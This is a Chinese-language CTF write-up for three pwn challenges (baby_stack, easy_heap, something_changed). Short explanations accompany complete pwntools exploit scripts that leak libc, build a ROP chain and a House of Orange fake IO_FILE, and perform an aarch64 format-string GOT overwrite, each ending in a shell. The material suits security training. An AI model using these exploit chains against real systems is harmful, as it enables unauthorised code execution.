baby_stack
wait函数里面有个格式化字符串,多试几次能试出来offset=20时拿到libc
v2长度为256字节,此函数中的a1[256]会造成栈上的off by null
布置的payload,rbp每次低字节为00
可以用ret填,不过exp多打几次出了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * from tw11ty import *
if __name__ == '__main__' : IPort = '110.40.35.73 33750' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name) sla(b'Press enter to continue\n', b'') sla(b'Pick a number: ', str(20)) ru(b'Your magic number is: ') libc_base = int(r(12), 16) - 0x401b40 system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
sla(b'How many bytes do you want to read (max 256)? ', str(256))
prdi = 0x000000000002164f + libc_base ppr = 0x0000000000021b33 + libc_base
payload = cyclic(152) + p64(prdi) + p64(bin_sh) + p64(ppr) + p64(0)*2 + p64(system) payload = payload.ljust(256, b'\x00') s(payload)
leak("libc_base", libc_base)
itr()
|
easy_heap
House of orange,不过show()函数只能打印8字节数据,构造两次orange,将两块相同size区间的large chunk链到一起
然后申请出前一块大的chunk,就能得到残留的heap指针,然后就是背板子
最后布置好的fake_IO_FILE结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * from tw11ty import *
def menu(num): sla(b'>\n',str(num)) def add(size, content=b''): menu(1) sla(b'Size :\n',str(size)) sla(b'Content :\n', content) def edit(idx, size, content=b'aaaa'): menu(2) sla(b'Index :\n', str(idx)) sla(b'Size :\n', str(size)) sa(b'Content :\n', content) def show(idx): menu(3) sla(b'Index :\n', str(idx))
if __name__ == '__main__' : IPort = '110.40.35.73 33679' pwnfile = './pwn' libc_name = '/ctf/work/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name)
io = init(pwnfile, IPort, libc_name)
add(0xaf8) edit(0, 0xb00 , b'a'*0xaf0 + p64(0) + p64(0x501)) add(0xb18) edit(1, 0xb20 , b'a'*0xb10 + p64(0) + p64(0x4e1)) add(0xff0) add(0xff0) add(0x4e0-8) show(4) heap_addr = uu64(r(8)) - 0x21b0a add(0x18) show(5) libc_base = uu64(r64()) - 0x3c4f0a leak("libc_base", libc_base)
io_list_all = libc_base + libc.sym['_IO_list_all'] system = libc_base + libc.sym['system']
payload = p64(0) + p64(0) + b'/bin/sh\x00'+p64(0x61) + p64(io_list_all-0x10)+p64(io_list_all-0x10) + p64(0)+p64(1) + p64(0)*7 + p64(heap_addr+0x21b40) +p64(0)*13 + p64(heap_addr+0x21b40+0xd8) + p64(0)*2 + p64(system) edit(5, 0x200, payload)
leak("heap_addr", heap_addr) itr()
|
something_changed
aarch64的格式化字符串,远程是qemu起的(泄露几次发现栈地址固定),保护全关相当于是,而且这道题本身就没开FULL RELRO和pie。还给了backdoor
直接用一次性格式化字符串来改__stack_chk_fail_got为backdoor就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from tw11ty import *
if __name__ == '__main__' : context.arch = 'aarch64' IPort = '120.79.91.95 3332' pwnfile = './silent' libc_name = './lib/libc.so.6' elf = ELF(pwnfile) libc = ELF(libc_name)
io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./silent')
scf = elf.got['__stack_chk_fail'] backdoor = 0x00400770 payload = b'%1883c%c' + b'%0c%0c%0c%0c%0c%0c%0c%c%c%c%c%c%c%c%c%c%c%caa%hn' + p64(scf) sl(payload) itr()
|